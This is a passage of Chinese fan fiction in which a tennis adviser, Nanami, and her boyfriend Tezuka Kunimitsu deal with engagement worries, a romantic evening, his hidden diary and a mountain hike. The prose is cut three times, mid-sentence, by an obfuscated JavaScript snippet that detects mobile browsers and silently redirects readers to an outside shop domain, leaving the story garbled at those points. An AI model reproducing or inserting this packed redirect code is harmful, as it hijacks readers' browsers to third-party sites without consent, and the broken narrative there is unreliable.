可如今,他只希望她能尽快成为他的妻子,让其他人都不敢觊觎她,他想要的身份,比男女朋友更多。 少年扶了扶眼镜,脸上闪过一丝不自然的红晕,“七海,我想等八月的美网结束,我们就回日本订婚。” 他会取得美网大满贯,然后...... 不是,这个进展也太快了吧?七海震惊地眨了眨眼,保持着仰头的姿势,一动不动。 而且...... “国光,可是,我不想那么快订婚结婚。”她垂下头抵着他的胸膛闷声道。 虽然这一世的父母很幸福,可上一世,至亲之人经历过的那段失败的婚姻给她带来了太多阴影,让她无法不恐惧婚姻。 她,并不相信永远,也不相信誓言。 手冢国光只愣了一瞬:“好,我尊重你的选择。” “如果你不想太早见到父亲母亲,今晚也可以不见。” “真的没关系吗?”她松开拥抱,再次仰头确认。 “没关系。七海,我会等你愿意的时候。” “那如果,我暂时,或者说很长一段时间都不打算结婚呢......” 她有好多想做的事要去做,一旦结婚,恐怕难免要面对一些传统任务。 说出这句话的下一秒,七海的心就开始突突地跳,她......她其实害怕知道他的答案。她知道,手冢国光再好,也是一个男人,况且还是出生于那样传统的日本家庭。 她在挑战一些可怕的敏感的边界,她或许不该问出这样的问题,她该顺其自然,走一步看一步,直到站在峭壁断崖边不得不做出选择时再说。 这么想着,心底涌起了丝丝缕缕的后悔与懊恼。 他望着她,语气坚定:“七海,无论你做出什么样的选择,我都会等你。” 她的心受到了一记重击。 “可是,家里的长辈催你怎么办呢?”她喃喃道。 “这是我需要解决的问题,你不用操心。”他的声音一如既往地沉肃,冷静。 “国光,你怎么这么好呀......” 无论未来如何,至少此刻,他应当是,很喜欢她的吧。 “七海,从今天起,每一步都让我来走。”她已经向你走了太多步,如果你不再做些什么,手冢国光,你就是混蛋了。 “七海,去做你想做的事,不要大意。”即使未来赛场上,他们是敌手。 少顷—— “国光,谢谢。” 有了这句话,她的再一次奔赴而来,终于显得有了几分意义。 153.第 153 章 结束理疗,手冢国光接了个电话。他的治疗师和经纪人回到了协会,正巧,七海还未见过她们,可以趁此机会见个面。 站在站台边,少年默默探出手,将她的手包裹住,七海坏心眼地用手指一下下划过他的掌心,直到他无奈地伸出手指与她十指相扣,她才偷笑着消停。 “呐,国光,你的治疗师和经纪人都是什么样的?”两人闲聊着。 手冢国光从衣兜里掏出手机,翻找出一张合照递到七海面前。“我的治疗师叫米拉,是德国本地人,经纪人叫渡边美加,是雷特鲁教练专门找到的一位日本籍经纪人。” “那还挺好的,一个德国一个日本。”七海扫了眼合照随意地点了点头。 只是,等他们终于到了协会,七海发现,情报大体正确,但部分有误。 治疗师和经纪人都是中年女性,可是,那位治疗师身边却跟着一个亚洲面孔的女孩,年龄看起来和她差不多大,一头利落的短发,黑亮的双眸转个不同,看着很是机灵。 他们刚从电梯走出来,女孩子便冲上来叽叽喳喳地围着手冢国光问话,嘴里说的德语语速极快,她费劲力气才勉强听全她在说什么。 “国光哥哥,你的膝盖好点了吗?给我看看呀!” “国光哥哥,我跟着米拉学习了新的按摩手法,待会儿给你试试?” 谁能告诉她这是怎么回事?七海的眼神变得有些微妙,视线有一下没一下地向身旁的少年戳去。 “国光,这个女孩子是谁?” 手冢国光扶了扶眼镜,平静回道:“她叫艾琳,是米拉的徒弟,比我们小两岁。她出生于德国但母亲是日本人,以后也打算成为治疗师。” 艾琳的提问一直没得到回答,撅起嘴转而看向手冢国光身边的少女,她一早就注意到了两人十指相扣的手。 “国光哥哥,你旁边的姐姐是什么人啊?” “艾琳,她是德国队的顾问也是我的女朋友,七海。”这个回答她还算满意。 “诶!国光哥哥,你什么时候有的女朋友!该不会是因为不想和我结婚所以找了个女人来骗我吧!”艾琳瞪大了眼。 “艾琳,我不会和你结婚。”他语气不变。 “难道你要和这个女人结婚吗?”女孩不客气地指向七海。 手冢国光脸上飞速闪过一丝郝然,“嗯。”这个回答,勉强满意吧。 艾琳双手叉腰,嘴上不依不饶:“不行啦!和我结婚比较好啦!这样以后国光哥哥要是比赛结束回家,我就立马可以给你治疗按摩。” 七海懒得吃醋,只是当她试图松开手时,扣着她的大手再度用力了几分,手冢忙开口:“七海,我——” “艾琳,不要打扰国光!”那边结束了讨论的米拉大步走来,总算制止了这场冒不起硝烟的修罗场,艾琳只得停止了嘴上的叨叨。 在和米拉以及渡边美加一番交流了解并交换联系方式后,时间不早,冢海两人便一起回家。 晚餐结束时夕阳已西斜,暖橙色的霞光透过一楼的落地窗投射在电视后的白墙上,屋内分外安静,只有电视上播放着的德国喜剧短片时不时传来罐头笑声和对白。 “居然比我想象的要好笑,我还以为德国人的喜剧肯定很无聊。”七海看得饶有兴致,然而坐在边上的人不管好笑还是不好笑的情节面上都是一副表情,让她怀疑起他是否真的有在认真看剧。 “国光,你觉得这个片子好笑吗?” “啊,还不错。”手冢国光冷静地点评。 七海呆愣了几秒,好笑是这样的反应吗?算了,看剧没意思,不如...... “国光,你现在是我男朋友了,我们来玩些情侣该玩的游戏吧!”七海戳了戳身边少年的胳膊。 手冢国光转过头来,“可以。七海,你想玩什么?” 少女笑得不怀好意,起身去冰箱拿了一瓶威士忌过来放到茶几上,这是她偷偷拜托雷特鲁帮忙买的。 “我们来玩石头剪刀布!输的人要么脱一件衣服,要么喝一杯酒。” “七海,喝高度酒对身体不好。”手冢国光蹙眉,他并未忘记一年前在墨尔本的那个夏夜她醉酒的样子。 “不喝也行,那就脱衣服。”七海干脆地答应了,不如说她就在这里等着他呢。 “七海......换个游戏吧。” “手冢国光你还是不是男人!明明玩这个游戏是你占我便宜好不好。”她不满地拉高了音调,身子又往少年跟前靠了靠,见他还是那副冷静自持的模样,愈发不满。 “哼,不愿意就算了。”她自有别的妙招,总之,一定要在去瑞士之前把冰山彻底攻克,让他成为她的男人! “国光,我先去洗澡了,我在床上等你哦。”七海笑嘻嘻地凑到手冢国光跟前强调。 “啊。”手冢点了点头,表面看起来毫无异常。 -------------------- “到底选哪一件好呢......”七海拉开衣柜门,目光在不同花色的衬衫间流连,没错,她打算使出穿男朋友的衣服这一招进行美色攻击。 “啊,这一件吧。”手中是一件淡紫色衬衫,散发着淡淡的洗衣液香气。她对这件衬衫的印象很深,在日本时他也经常穿。 洗完澡吹干头发,七海直接套上了手冢国光的淡紫色衬衫,并且极其心机地保持着上面三颗扣子敞开。 “啧,简直是秀色可餐,上吧,七海!” 七海站在镜子前扭了扭身子,臭屁道,边一溜烟跑进了手冢国光的房间,将台灯打开亮度调到最低,屋内昏黄微暗的氛围似乎也刚刚好。 总之,先钻进被子里装睡让他掉以轻心,这么想着,她直接掀开被子躺上床。 “国光,我已经洗好了,你快去洗澡然后来睡觉。” 她的声音穿过房门直抵楼下客厅,手冢国光闻言上楼取了睡衣裤,见她闭着眼只露半个脑袋在被子外,微微勾起唇角,便径直走去浴室洗澡。 手冢关上门的下一秒,七海一个鲤鱼打挺从床上爬起,否则,她严重怀疑自己会像昨天那样躺着躺着就睡着了。 隔着门,浴室里隐隐约约传来淋浴的水声,七海听着声音不自觉陷入遐想,水雾氤氲间若隐若现的会是怎样一幅性感淋浴图...... 没关系,只要她够努力,很快就能看到了!少女暗自握拳。 不多时,门外的水声戛然而止,她的心也跳得越来越快,吹风机的声音响了一阵便结束,紧接着是穿衣服的窸窣声,他的脚步声逐渐靠近......卧室的门被打开。 “七海?”手冢国光愕然,被子被掀开,刚才还在床上的人不见了。 下一瞬,房门被躲在门后的七海干脆地关上,她堵在门口,手冢国光这才发现她极不着调地穿着他的衬衫。 上方的三颗扣子大敞着,露出她纤长微凸的锁骨,几绺发丝恰如其分地散落在胸前,他送的那条海蓝宝项链在昏黄的光线下反射出幽蓝的微光。 视线再向下,她的柔软轮廓隐约隔着衬衫透出,衬衫之下,两条白皙纤长的腿一览无余,她光着脚。 “......” 5% “什么嘛!国光,你就给这样的反应!”看手冢国光一言不发,七海终于有些抓狂,这样也没用,他,他该不会不行吧? “国光,你该不会不行吧?”她下意识说出了心中所想。 手冢国光这才从极其复杂的情绪中收回,喉咙上下滚动了一番。“七海......不要这样穿。” “为什么不能这么穿?”她向他迫近一步。 “是我这样穿太好看你把持不住吗?”七海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518045|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得逞似的调笑着。 “......嗯。”手冢低低地应了一声,视线不自然地移开,耳廓早已红得不像样。 “可是我是你的女朋友,你为什么要把持得住嘛。” 她干脆地再向前一步伸手勾上少年的脖子,两人肢体相贴,感知到衬衫之下她居然身无寸缕,镜片后少年冷峻的面颊上终于也泛起绯红。 手冢国光正准备拉开她,七海再次开口:“国光,白天你答应我晚上睡觉前要吻我的!” “嗯。”这次他倒是应得很快,然而,行动却完全不是她想要看到的那种——他低下头,薄唇只浅浅地和她的唇相触了一下,便分开了。 “这种吻不算,别想糊弄过去。”她撅嘴。 手冢国光一阵无言,良久,轻叹了口气,“七海......” 她看起来像是放弃了,“好吧,那我就只要一个和昨天那样的吻就好,然后我们就正常睡觉。” 七海老老实实闭上双眼,很快,一抹温软覆了上来,他一手揽住她的脖颈,一手揽住她的腰,一次次衔住她的唇再松开。 鼻息喷洒在她的脸上,她将原本勾住脖子的右手缓缓下滑按在他的胸上,微痒温热的触感迫使少年胸膛的肌肉蓦然紧了紧。 唇瓣被轻柔地撬开,舌尖扫过齿序时,一阵电流般的酥麻从尾椎骨直直窜上脑门,七海不由自主地轻颤了一下。 她被他柔软却强势的吻逐渐摄去了心神,只能无助地向他贴去,手下意识揪住他胸前的布料,追随着他的节奏,被他带领着在这片温热的海洋里沉浮。 手脚慢慢开始发软,在她坠落前,他松开唇弯下腰,将她放平在被子上。 他再欲起身时,七海靠着残存的力气揪住他胸口的布料向着自己一扯,手冢国光猝不及防间跪倒在床上。 一时间,唇瓣再次相贴,她主动探出唇舌去触碰他,换来的是比方才热烈数倍的吻,一下下掠夺走她口中的空气。 少年的呼吸逐渐粗重起来,仿佛在刻意压抑着什么。空气中弥漫的暧昧气息越来越浓烈,几乎要凝固成实质。 “唔......”被吻得意乱情迷,七海不自觉仰起了下巴。直到他终于再次松开唇,她睁开迷蒙的双眼,映入眼帘的是他滑动的喉结,七海抬起头,毫不犹豫地对着凸起处亲了一下。 20% 手冢国光浑身一僵,于失控中清醒过来,直起身下了床,推门而出。 昏黄灯光下,空气中残余的暧昧气息很快消散。 “可恶......”七海忍不住咬唇,轻锤了一下身下的被子。这个欲半禁不禁的,憋死他算了! 她干脆就这么躺在床上,等着他回来,等到她意识残存无几,耳畔才传来轻微的推门声。 闭着眼,她听到他掀被子的声音,她被轻手轻脚地抱起,放到了床上,身上覆上了绵软的被褥,接着是关灯的啪声,他的脚步声——七海睁开了眼。 “国光,你又要逃吗......”她的声音细如蚊呐,却在这片漆黑的静谧空间中格外清晰。 即将离去的背影顿在半路。 “我是什么不堪的人吗,手冢部长。”七海伸出手臂盖住双眼,泪水于无声之间一滴滴从眼角滑落。 他终于转回身,掀开被子躺上了床,将泪流不止的少女大力拢入怀中。“七海,我不逃了,对不起。” “国光,爱你好累啊......你能不能,更坚定地爱我呢......” 这本是她方才想出的台词,可说着说着却回想起了那三年的苦闷,逐渐带上了真情实感,随着泪水一同倾泻而出。 手冢国光侧身拢着她温软的身躯,却再无半点旖旎欲念,胸口的一片潮湿随着时间流逝变成一片冰凉。 他突然意识到自己确实是个混蛋。 35% 154.第 154 章 第二日返回协会时,德国队的少年们见两人紧紧交握的双手,纷纷交换了心照不宣的眼神。 七海干起了顾问的正事,观测分析大家的训练情况和雷特鲁讨论训练方案的改进,顺便还和博格打了一场相当正经的三盘两胜制比赛。 结果令众人大跌眼镜,已经在世界杯后又进步了的博格,这位通往胜利的哲学家居然被对场少女朴实无华的网球技法干脆地击败了。 “网球不是用来伤人的。让网球界知道,不需要伤人的网球也可以赢得很漂亮,这就是我打这场比赛的目的。”七海平静道。 站在赛场边的手冢国光听到前半句话,不自觉默然。这句话,是他曾说过的。 “还要谢谢国光呐。”她又望向赛场边的茶发少年笑道,“很多很多年前,我就被这句话影响,至今。” 太多思想太多行动追本溯源皆是因他而起,这个名字背后蕴含的东西早已融进她的骨血中,无法分离。 爱他太累,舍弃他太难。 “七海,你打算什么时候去瑞士?欧诺基伊哈知道你回来了,这几天总和我念叨你。”吃午饭时,雷特鲁不经意间提起。 七海咽下口中的面包,随意道:“大后天吧,怎么了,雷特鲁教练?” “之后还要去西班牙和法国吧?” “嗯,还得去趟英国,去完了就得先回日本了。”她已经决定留在青学高等部,还有......俱乐部和日本职网的工作,她需要处理,需要去见几个人。 “七海,那你下次什么时候回来啊?”塞弗里德问,他刚才敏锐注意到身边的手冢国光在听到回日本三个字后微微抿紧的唇,这个问题,就让他这个好人来替这根木头问吧。 “6月有东京都大赛,我打算带着我的部员们拿一次全国大赛优胜,所以7月的温网我就不去了,9月有美网要去美国。” 这两年冉冉升起的新生选手,有能力的基本上都能靠积分排名在今年的美网参加资格赛或正赛,她会带领日本队的几个职业选手到场参赛。 QP:“七海,美网结束后呢?” “美网结束以后倒是暂时无事,所以我大概会在美网结束以后直接去欧洲,再回日本吧,到时候也可以和你们一起回来。” “那岂不是又有半年见不到了!”塞弗里德张着嘴,不开心。 “没办法,我也很忙的嘛。”七海笑眯眯道。 “既然聚少离多,七海,明天要不要一起去爬楚格峰?”雷特鲁突然提议道。 “楚格峰?”七海下意识将视线投向坐在自己对面的手冢国光,她还记得他曾邀请她一起爬楚格峰。 雷特鲁点点头:“嗯,大家徒步上去,也算是锻炼体能了。” 七海托腮:“不过我都没有登山装备,现在临时去买不知道还方不方便。” “七海,我已经为你备好了。”手冢国光突兀开口。 七海愣了几秒,已经为她备好了?他是有多想自己陪他去爬山呀......也不知道他是什么时候买好的,少女笑得无奈,既然如此她就更加没必要拒绝了。 “好,那就明天去爬楚格峰。”她拍板。 ------------------------ 回到手冢家,吃完饭两人便开始收拾整理登山装备。 “我们的装备我都放在书房的储藏柜里,我去拿。” 手冢国光上到二楼,消失在了书房门口。七海坐在客厅沙发闲得直打哈欠,干脆也上楼进了书房,打算帮着搭把手。 书房地板上放着两个大登山包,边上散落着几个打开的纸箱,手冢国光正在往包里填充登山装备,睡袋,防水袋,毛巾,洗漱用品,急救药品...... “诶,还要睡袋吗?明天晚上我们要睡山上吗?”七海蹲在一边瞪大了眼。 “啊。楚格峰上有山屋。” “嘿嘿,国光,那我们两个睡一间。”七海贼兮兮地笑了两声。 “嗯。”手冢国光面不改色地点了点头。 “七海,能帮我把柜子里的另一个纸箱拿过来吗?”他指了指不远处的储藏柜,里面还留着两个纸箱子。 “嗯。国光,你要的是哪个箱子?”七海看着眼前的两个纸箱,干脆全部掀开来。 一个纸箱里显而易见是些登山装备,头灯,口哨,伸缩登山杖,整整齐齐叠放在一起,他要她拿过去的多半就是这个箱子。 另一个纸箱里......是一些杂物和几本笔记本,封面,和一年多前她在墨尔本的德国队选手楼他的房间看到的很像,那时他便很介意自己看那本笔记本。 七海心上涌起一种极其微妙的感觉,她下意识将手伸向了笔记本。 “装着头灯的那个。”手冢国光仍低着头收拾着登山包,并未注意到这边的动静。 抚摸过笔记本封面上“手塚国光”四个字,七海一番内心挣扎后,下定决心翻开了笔记本,几秒后,她的瞳孔骤然放大了一圈—— 这似乎是他的日记本。 随意翻几页,每一面的左上角都写着时间,这一本第一页的时间居然追溯到了两年前,2003年11月1日......七海在回忆之海中翻找了一会儿,很快意识到,那是U17合宿入营的那天。 不过......七海脸上挂上了几分挫败,这整本日记居然都是用德语写的!可恶,她的德语还很一般啊。 然而,当她试图仔细阅读日记中的内容时,她发现了不对劲的地方。 日常用语,英语和德语有一些差异,可是,人的名字是不会因为变成德语而发生变化的。而这本日记本中,反复出现的一个英文名,或者说罗马音名字—— 是她的名字。 还有,德语中的“她”——“sie”。 2003年11月1日 【七海成了......的总教练,看来她之前请假那段时间都在忙这件事。 上课睡觉不对,但她看起来太累了。】 P121-123单词√ ......语法√ ......复健√ 似乎他每天都会在日记上记录每天的德语学习情况以及肘关节的复健情况。 上课睡觉,是说从营地回来后为了写入营方案的那段时间吧。 2003年11月2日 【七海看起来......她定的球拍训练效果应该会不错。 希望桃城和海堂能真正成长起来,带领青学再次取得全国大赛优胜。】 ...... 2003年11月5日 【我应该从一开始就坚定地相信她。 需要尽快定下去德国的时间,买机票,然后联系博格和雷特鲁教练,今晚先和父亲母亲还有祖父说一声。】 ...... 2003年11月16日 【放不下她。】 简单的几个德语单词,她的心脏像是遭受了猛烈的一击。11月16日,她记得很清楚,是......他离开合宿营地的那天。 胸口有什么东西在慢慢破碎,化为无数细小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529132|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碎片,在心间刺啦作响。 ...... 2003年12月2日 【七海居然来了德国,她的身体似乎出了问题,我最好去......那个医生的信息。 她很......我,不知道发生了什么。 我不会再放手,无论.......,至少她还愿意......】 ...... 2004年1月11日 这一页居然罕见地空着,只写了日期,仔细地回忆了一番,七海这才确认,是他在公共网球场撞见失明的她那天。 那天,她情绪彻底失控。 【“手冢国光,许你为了青学牺牲,不许我牺牲吗?当初我的话你不听,现在你有什么资格管我!”】 心脏震颤着,深吸一口气,七海不再往后看,合上了日记本,再次翻开另一本,日期从2004年3月1日开始。 2004年3月1日 【七海,女儿节快到了。 不知道你在哪里,拜托母亲为你摆了人偶,希望你诸事安好。 我很想你。】 这篇日记,是用日语写的。 “七海。”手冢国光见不远处的少女迟迟没有动静,终于抬头看过去—— 她跪坐在地板上,身体不住地轻颤着,手里捧着的......是他的日记本。 手冢国光本欲起身的动作僵在了半途,心中刹那间卷起惊涛骇浪,他一时间竟不知道该说些什么,该如何应对。 40% 而听到耳边呼唤声的七海,也于此刻缓缓转过头来,泪雨滂沱,透过模糊的视线,透过镜片,她与他四目相对。 她的表情是模糊不清的,仿佛无悲无喜,无声的泪水一滴滴砸在米白色的纸页上很快渗透,将字迹晕成一片片黑灰。 她缓缓放下那本日记,抱着双腿将脸埋在之间,任由泪水不断涌出,抽泣声回荡在房间里。 “国,国光,你别过来......”预判到了他将做出的行动,七海抽噎着拒绝了,她的样子太狼狈。 只是这次,他却没有听她的。 她的上身被他轻易地掰直,随即她陷入了一个温热轻柔的拥抱。 “手冢国光,原来你这么坚定地选择着我啊......”她的头抵着他的肩,抽泣个不停。 “你是不是笨蛋,这些话,比起写在日记本里,不是直接告诉我更好吗......” “国光,我也很想,很想你。” “我好怕我不在,你一个人在德国受欺负。我好怕发生了什么,我又像国一时那样没来得及阻止......”她痛哭着,句句恳切,字字锥心。 “德国没有鳗鱼茶,只有难吃的面包和延误的铁路,你的爸爸妈妈又不在身边,国光,我好难,好难不心疼你啊......” 55% 反光的镜片遮住了少年酸涩的双目,可贴着她的背两只不断收紧的手却暴露了他的心情。 “七海,以后我会直接告诉你。” 七海努力止住了抽噎,松开拥抱,湿润的深紫双眸紧盯着他不放,“我不要以后,我要现在。” “国光,你,你说些情话给我听。”她红着脸大胆道。 “七海,我喜欢你。” “就只是喜欢吗?” “七海......我爱你。”他的声音沉着、坚定,金边眼镜下,凤眸中透出的深情使她几欲溺毙于其中。 她毫不犹豫地勾住他的脖子吻了上去。 60% 155.第 155 章 七海早上醒来就恨得牙痒痒。 昨晚氛围都酝酿到那种程度了,她都能感受到他的异样了,居然最后还是让他给硬生生忍住了,把她抱上床就自己走去洗手间......憋死他算了! 今晚夜宿山上她还有机会,她就不信了,蜡烛一点,山风于窗外呼啸,屋内是温暖的火堆劈啪作响,这样的氛围之下,他还能毫不意动。 起床下楼时,手冢国光照例已经完成了晨练正将做好的早餐摆上桌,今天是煎鱼排、豆腐味增汤配米饭,另有几样小菜。 “国光,这些小菜也是你自己做的吗?”腌渍小菜的制作难度可不低。 “啊,母亲教会我的。”手冢平静地点了点头,在餐桌前坐下。 “好厉害......那个,国光,我有个问题想问你。”她放下筷子,手冢国光用眼神示意她继续。 “昨天我看到你在日记里写,你让伯母为我摆了女儿节人偶......那你的家里人是不是都知道我的存在了啊。”即使过了一晚上,想到这件事,她仍忍不住心酸。 “啊。” 手冢扶了扶眼镜,承认得很干脆,七海却一下子愣住了。 “那他们不会好奇吗?” 顺着这句话,手冢国光回想起了一些令他难得萌生出尴尬情绪的往事。 【“国光,你老实交代!让妈妈帮你摆女儿节人偶是为了哪个女孩子?” “一个朋友。” “国光,别想骗我!妈妈可是能从你那古板无趣的话里听出你的情绪哦,你自从结束了那个世界杯的比赛,就很不开心啊......我很担心你。”手冢彩菜说到最后叹了口气。 “那个女孩子是什么时候认识的?也是东京人吗?什么时候回日本领回家来呀?之前妈妈就注意到你的网球包上多了一个御守,该不会也是她送的?” 电话另一头的少年握手机的手无意识紧了紧。 “母亲,她......”他不知道她去了哪里,也不知道她还会不会回来。 “阿啦,难得有能让国光这么上心的女孩子,妈妈真想见一面啊,阿娜达,父亲,你们肯定也想见一见吧,呐?” “母亲,父亲和祖父都在你身边吗?” “是啊,我们现在在商量你们的小孩该叫什么名字好呢。女孩子可以叫手冢凪纱,男孩子叫手冢国拓,啊这个是祖父想的名字哦,供你们参考。” “母亲,没什么事我就先挂电话了。” “国光,你该不会是害羞了吧?”】 “国光?”七海伸手在手冢眼前晃了晃。 “他们很期待见到你。” 七海沉默了几秒,抬头正色道:“呐,国光,要不爬完楚格峰回来,我见一见你的父母吧。” “七海,你不必为我考虑。”手冢国光一眼看穿她心中的挣扎。 “不,我已经决定了,就这样吧。”七海干脆道。只是见家长而已,如果这点事都摆不平只知逃避,她也太弱了。 “......好。”他微不可见地勾起唇角。 饭毕,两人收拾好登山包和三明治、水、巧克力等补给品便出发前往协会。 今天他们将和德国队的其他少年们一起从协会出发,地铁转火车,下午开始爬山,夜晚宿在山谷的山屋,第二日一早再登顶。 “国光,明天我一定要比你先一步登顶!!!”刚抵达徒步起始点,塞弗里德就一副斗志昂扬的模样,手指着山巅大吼着。 俾斯麦无情泼冷水:“塞弗里德,国光有七海作陪,他才不在乎速度快慢。” “认真爬起山来,塞弗里德,你能比国光爬得快的概率是0%。”第二次无情打击by QP。 “国光爬过很多山,塞弗里德,你爬不过他的。”第三击by贝尔蒂。 “啊啊啊啊!!网球也就算了,怎么爬山也爬不过日本人!!”塞弗里德抓狂。 “塞弗里德,出发了。”博格一声令下,橙发少年马上安静了不少。 四月初的楚格峰山脚,层峦叠嶂的群山在光熙中露出灰白透着星星点点绿意的山坡,几簇积雪尚未完全消融,在穿过树隙的阳光的照耀下熠熠生辉。 山间溪流哗哗作响,奔腾不息的水流携着融雪的清凉,在岩石间穿行曲折。 一行人有说有笑地顺着溪流向前进发。 ...... “七海,还吃得消吗?”手冢国光站在满是碎石和半化雪块的半坡回头,身后的少女把住凸起的石块,抬动步伐的模样看起来十分艰难。 上次七海和瑞士队的少年们爬阿尔卑斯山的另一座峰他们乘坐了一长段缆车,以欣赏美景为主。 因而,准确来说这次是她第一次徒步攀登如此陡峭的高峰。 不知不觉间,手冢国光已和她远远坠在了队伍后端,最前方的博格早已变成了一个隐约的黑点消失在坡顶的山峦间。 很显然,除了七海,余下的这群德国队少年都不是登山新手。 “吃得消,我就是没想到,这个徒步,居然还包括徒手!”七海咬牙道,难以想象这条路线居然还是少年们为了照顾缺乏经验的她挑的最简单的一条。 “很快我们就到达山屋了,再坚持一下。” 手冢国光扶了扶眼镜,向她伸出手,这时的七海也不再考虑面子,她将手放在他的手心,被他紧紧握住,大力带着向上爬去,一步步。 夕阳初现端倪,峰顶的皑皑白雪与峰身岩壁的棱角分毫毕现,远处的山峰逐渐呈现出日照金山的画面。 “哇,国光,你快看,好美。”七海抬起头,被美得猝不及防。 “嗯,很美。” 她在看山,他却在看她。倘若她于此时侧过头,便能看到他微微翘起的唇角以及金边眼镜下,棕黑色瞳孔中透出的无尽温柔。 “哟西,我们继续!”她握拳,斗志不灭。 ...... 前半段路实则并不算多陡峭,他们总算于日落前抵达了预约的山屋,其他的德国队少年们住在多人间,冢海两人则住一间。 推开门,这并不是七海想象中精致小巧的木屋,不如说,简陋至极。 除了一张简易的上下床铺,便只剩房间中间的一张低矮的木制圆桌并一个小凳子。圆桌后放着一个外壳带着红色铁锈的小壁炉,里面残留着厚厚一层黑灰色炭渣。 “还好本小姐早有准备。”七海暗自庆幸着,她偷偷往包里塞了香薰蜡烛,到时候蜡烛一点氛围直接拉满,冰山融化还不是手到擒来。 “七海,我出去取些木柴,你在房间里等我,不要出去了。”手冢国光肃声嘱咐道,一边拿上手电筒,一边将其中一盏头灯打开留在了壁炉上。 夜幕已彻底降临,下午还算晴朗的天气此刻骤然变了脸色,窗外是呼啸的寒风伴随着飞雪,又是在黑夜中,能见度变得极低。 “嗯,你小心点,快去快回。”七海乖乖点了点头。 她的羊毛袜在一路上被雪水打湿,湿哒哒地粘在脚上难受得很,手冢国光一走出山屋,她便麻利地脱下鞋子再将袜子褪下,用毛巾擦干了再将脚伸进鞋里。 趁着手冢还没回来的间歇,七海也没闲着。把两个睡袋平铺在床铺上,她将背包里的香薰蜡烛掏出来,摆放在壁炉、窗台和矮木桌上,一盏盏点亮,又掏出了他们的食物摆在桌上。 “七海,冷吗,我这就生火。”手冢国光推门入内,刚关上门,却因映入眼帘的景象难得愣在原地。 头灯的亮度被调得极低,视线所及是点点烛光,摇曳的火苗跳动着明灭,在墙上投射出渐变的光影。她坐在床边,烛光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545843|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映照在她的脸庞上,柔和了她的面容。 70% 见手冢国光抱着一摞木条平安归来,她绽放出了一个灿烂的笑容。 “国光,你回来啦。我要冻死了,你快生火。” “......嗯。” 强行忽略汹涌而出的情绪,手冢国光将木条放入壁炉内,拿出打火石很快将火生起来。 烛光与壁炉透出的火光将这间狭小的山屋笼罩,呼啸的风雪无情地敲打着窗棂,,室内却暖意渐浓。 三明治是他一大早做的,两人于木柴燃烧的噼啪声中安静地解决了晚饭,意外却于下一刻骤生。 “啊嘶......”七海刚准备下地去背包里拿东西,右腿在着地的一瞬剧烈地抽痛起来,她皱眉咬着唇,眼角不受控制地溢出眼泪。 “七海,怎么了?”手冢国光见状立刻起身,坐到她边上。 “小腿,抽筋了......疼......”嘴唇快要被她咬出血,她将裤腿挽上去,试图抬腿按摩,却越发痛呼连连。 “七海,你别动了。” 她还没反应过来这句话的言下之意,他已经将她的双腿放到了床上,手把住她裸露在外的小腿一下下地揉捏起来。 “嘶......疼疼疼!国光,疼......”过于强烈的疼痛使她抽气不止,除了喊疼根本无可施为。 眼前的人垂着头,她只能看到他的镜片顶弧,以及镜片上反射出的点点烛光,少年抿着唇,神情严肃而认真地按压着她的小腿肌肉,她的脚被放在了他的大腿上...... 75% 不知何时,疼痛渐缓,她的痛呼声也变小,红晕就这么缓缓爬上她的脸颊。 “现在......”手冢国光抬头,发现她泛红的脸颊,话停在了半路。 “七海,国光,我来——”门也在同一时刻被打开,塞弗里德推开门,呆住了。床边那两个人,七海脸红得不像话,国光还握着七海的小腿不知道在干嘛...... ......我该不会坏了国光的好事吧?! “啊啊啊啊啊我什么都没看到!我先走了,这个是博格让我给你们的!” 塞弗里德以迅雷不及掩耳之速把一瓶不知什么东西放在矮桌上,便转身关门一气呵成。 七海在心中冷笑一声,塞弗里德,看你干的好事! 这下,脸上的红晕消退得仿佛从未出现过。 “国光,谢谢,我现在不那么疼了。” 手冢国光推了推眼镜,面色严肃:“啊,应该是因为今天运动过度,七海,晚上要注意保暖,不能再着凉了。”否则,抽筋的情况恐怕还会重现。 “唉,我好菜哦......”七海垂头嘟囔着。“不过也不能全怪我,毕竟徒步爬这么高的山我还是第一次。” “七海,抱歉。”手冢歉然道。他一心只想着她陪他一同攀上高峰,却没预料到她如此不擅长。 这次七海却没说什么不用道歉的话。 “国光,你是该反省,哼。” 她抬头认真望着他:“你想,这些年我陪你做了多少你喜欢的事,钓鱼,露营,爬山,即使我不擅长。” “你有想过我喜欢做什么,我想要做什么吗?” 一时间,四下沉寂,木柴燃烧着,劈啪作响。 愧疚感再次翻涌而来,他确实,忽略了她的感受。过去的三年是如此,今天还是如此,可她还是选择了他,恐怕换成其他任何人......都会做得比他好。 85% “七海,对不——” 